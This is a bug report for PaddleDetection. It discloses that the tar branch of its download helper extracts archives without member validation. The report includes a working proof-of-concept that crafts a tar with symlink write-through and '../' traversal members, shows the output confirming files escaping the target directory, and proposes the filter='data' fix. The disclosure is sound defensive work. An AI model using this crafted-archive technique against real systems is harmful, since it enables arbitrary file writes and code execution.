[Bug] tar archives downloaded by ppdet/utils/download.py are extracted without member validation (path traversal)

Author: Carlson-JLQCreated Sep 17, 2026Updated Sep 17, 2026

问题确认 Search before asking

  • 我已经查询历史issue,没有发现相似的bug。I have searched the issues and found no similar bug report.

Bug组件 Bug Component

DataProcess

Bug描述 Describe the Bug

Summary

ppdet.utils.download._decompress calls tarfile.extractall() on tar archives with no filter= and no member-path/link validation, so a crafted tar can write files outside the intended target directory fpath_tmp (path traversal + symlink write-through).

Locations

  • ppdet/utils/download.py:486 (tar branch of _decompress)
  • Same code duplicated at deploy/pipeline/download.py:228
python
# ppdet/utils/download.py:484-489
if fname.find('tar') >= 0:
    with tarfile.open(fname) as tf:
        tf.extractall(path=fpath_tmp)        # <- no filter, no member validation
elif fname.find('zip') >= 0:
    with zipfile.ZipFile(fname) as zf:
        zf.extractall(path=fpath_tmp)

Why the zip branch is safe but the tar branch is not

The two branches look identical but have completely different security semantics:

  • zipfile.ZipFile.extractall() is sanitized by CPython itself (splitdrive, strips absolute paths and ./.. components) and does not create symlinks from external_attr;
  • tarfile.extractall() performs no sanitization at all: it accepts ../ and absolute paths, and creates symlinks/hardlinks from the archive.

This is the CVE-2007-4559 class. The Python docs warn about extractall; since 3.12 an unspecified filter= raises a DeprecationWarning, and in 3.14 the default becomes filter='data'.

Aggravating factors (same function)

  1. The downloaded archive is not integrity-checked before extraction: get_path(url, root_dir, md5sum=None) has md5sum defaulting to None, and _check_exist_file_md5 only falls back to the HTTP content-md5 when the filename ends with pdparamsarchives (tar/zip) are not covered.
  2. _download uses requests.get(url, stream=True); over http:// there is no transport protection.
  3. get_weights_path(url) / get_path(url, ...) / get_config_path(url) are public APIs with url as a parameter; parse_url only rewrites the ppdet:// prefix, so plain http(s):// URLs pass through unchanged.

Steps to reproduce (pure stdlib — no PaddlePaddle/CUDA needed)

Paste and run this as-is (it only writes to a temp dir):

python
import io, os, tarfile, tempfile

work = tempfile.mkdtemp()
fpath_tmp = os.path.join(work, "tmp"); os.makedirs(fpath_tmp)
outside = os.path.join(work, "OUTSIDE"); os.makedirs(outside)

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w") as tf:
    i = tarfile.TarInfo("link"); i.type = tarfile.SYMTYPE; i.linkname = outside
    tf.addfile(i)                                   # symlink pointing outside fpath_tmp
    d = b"ESCAPED\n"
    j = tarfile.TarInfo("link/pwned.txt"); j.size = len(d)
    tf.addfile(j, io.BytesIO(d))                    # write *through* the symlink
    k = tarfile.TarInfo("../escaped_via_dotdot.txt"); k.size = len(d)
    tf.addfile(k, io.BytesIO(d))                    # classic ../ traversal
buf.seek(0)

# ----- equivalent to the tar branch of ppdet/utils/download.py:_decompress -----
with tarfile.open(fileobj=buf) as tf:
    tf.extractall(path=fpath_tmp)
# ------------------------------------------------------------------------------

print("fpath_tmp (target dir):", os.listdir(fpath_tmp))
print("OUTSIDE/ (should be empty):", os.listdir(outside))
print("parent of tmp (should be unchanged):", [f for f in os.listdir(work) if f.endswith(".txt")])

Expected results

extractall should reject (or skip) members that escape fpath_tmp, and any symlink/hardlink member. No new files should appear in OUTSIDE/ or in the parent of tmp.

Actual results

fpath_tmp (target dir): ['link']
OUTSIDE/ (should be empty): ['pwned.txt']                 <- symlink write-through succeeded
parent of tmp (should be unchanged): ['escaped_via_dotdot.txt']   <- ../ traversal succeeded

Both escape vectors work.

Impact

Arbitrary file write anywhere the process can write (outside fpath_tmp), plus creation of symlinks pointing anywhere. Combined with PaddleDetection's purpose (download weights/configs and then load them), this can overwrite Python files or model configs that are later imported/loaded → code execution; it can also overwrite existing weight files under ~/.cache/paddledetection/.

The trigger requires an attacker to influence the URL passed to get_weights_path/get_path/ get_config_path (custom model/dataset URLs, a tampered or MITM'd download source, a shared config's weights: field, ...). An http:// source can be exploited directly via MITM.

Suggested fix

Pass filter='data' for tar (Python 3.12+):

python
with tarfile.open(fname) as tf:
    tf.extractall(path=fpath_tmp, filter="data")

For 3.10/3.11 compatibility, fall back to per-member validation (the equivalent of filter='data' described in the tarfile docs). Note that validating .. alone does not stop symlink write-through — you must also reject symlink/hardlink members, or just use filter='data'.

Also recommended: enforce md5/sha256 for tar/zip too (not only .pdparams), and prefer https://. deploy/pipeline/download.py:228 is a copy of the same code and must be fixed as well.

Relation to #7201 (to avoid being closed as a duplicate)

#7201 is exactly the CVE-2007-4559 patch PR filed by Trellix in 2022-10. Its closing comment reads:

nemonameless (2022-11-04): "Thanks, please register CLA at first. The CI queue time is too long, so temporarily close your PR. You can register the CLA and then open it."

i.e. it was suspended and closed because the CLA was not signed — the patch was never merged. I pulled ppdet/utils/download.py from develop in 2026-09 and :486 is still tf.extractall(path=fpath_tmp), with no filter=.

复现环境 Environment

  • OS: Ubuntu 22.04
  • PaddlePaddle: N/A - reproducible at the plain Python stdlib level; PaddlePaddle is not needed
  • PaddleDetection: local clone, commit b25522a0 (2026-03-16); also present on develop
  • Python: 3.10.12
  • CUDA: N/A
  • CUDNN: N/A
  • GCC: N/A

Bug描述确认 Bug description confirmation

  • 我确认已经提供了Bug复现步骤、代码改动说明、以及环境信息,确认问题是可以复现的。I confirm that the bug replication steps, code change instructions, and environment information have been provided, and the problem can be reproduced.

是否愿意提交PR? Are you willing to submit a PR?

  • 我愿意提交PR!I'd like to help by submitting a PR!

Source: PaddlePaddle/PaddleDetection